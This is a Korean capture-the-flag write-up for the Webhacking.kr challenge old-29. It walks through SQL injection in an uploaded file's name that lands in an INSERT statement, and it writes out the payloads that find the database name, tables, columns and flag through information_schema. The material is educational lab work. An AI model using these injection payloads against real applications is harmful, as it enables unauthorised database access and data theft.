-
<Webhacking.kr> old-29Wargame/Webhacking.kr 2021. 12. 21. 23:50
파일을 업로드할 수 있다.
파일 아무거나 제출하면 제출한 시간, 자신의 IP 주소, 파일명을 출력한다.
FLAG는 다른 테이블에 있다는 것으로 보아, 현재 페이지는 제출한 시간, 자신의 IP 주소, 파일명을 칼럼으로 가지는 하나의 테이블인 것 같다.
페이지 소스 코드를 살펴보면
POST 방식으로 제출한다.
Burp Suite로 time, ip, file이 삽입되는 순서를 확인할 수 있다.
INSERT INTO 테이블이름 VALUES ('a', 'b', 'c'), ('d', 'e', 'f')의 형태로 다수의 데이터를 한 번에 넣을 수 있다.
이 특징을 이용하여 순서를 먼저 알아보기 위해
파일이 정상적으로 업로드되는 것으로 보아
INSERT INTO 테이블이름 VALUES (파일 이름, 제출한 시간, IP 주소) 형태로 데이터를 삽입 함을 확인할 수 있다.
■데이터베이스 이름 찾기
데이터베이스 이름은 database()로 찾을 수 있다.
INSERT INTO 테이블 이름 VALUES ('woong', 1, 'IP 주소'), ((SELECT database()), 1, 'IP 주소') 형태로 만들기 위해
데이터베이스 이름이 chall29임을 확인할 수 있다.
■테이블 이름 찾기
information_schema : 메타데이터를 묶어 만든 테이블을 모은 데이터베이스로, 모든 데이터베이스에 대한 정보 저장함
table_schema : 데이터베이스를 의미
table_name : 테이블 이름
INSERT INTO 테이블이름 VALUES ('woong', 1, 'IP 주소'), ((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29'), 1, 'IP 주소') 형태로 만들기 위해
※ group_concat을 사용하는 이유는 테이블 개수가 여러 개일수 있기 때문
chall29 데이터베이스에 files와 flag_congratz 테이블 2개가 있는 것을 확인할 수 있다.
FLAG를 구하기 때문에 flag_congratz 테이블인 것을 짐작할 수 있다.
■컬럼 이름 찾기
INSERT INTO 테이블이름 VALUES ('woong', 1, 'IP 주소'), ((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz'), 1, 'IP 주소');
컬럼 이름이 flag인 것을 확인할 수 있다.
■flag 찾기
INSERT INTO 테이블이름 VALUES ('woong', 1, 'IP 주소'), ((SELECT flag FROM flag_congratz), 1, 'IP 주소');
FLAG 값을 구할 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
<Webhacking.kr> old-39 (0) 2021.12.27 <Webhacking.kr> old-28 (0) 2021.12.25 <Webhacking.kr> old-25 (0) 2021.12.19 <Webhacking.kr> old-33 (0) 2021.12.15 <Webhacking.kr> old-26 (0) 2021.12.12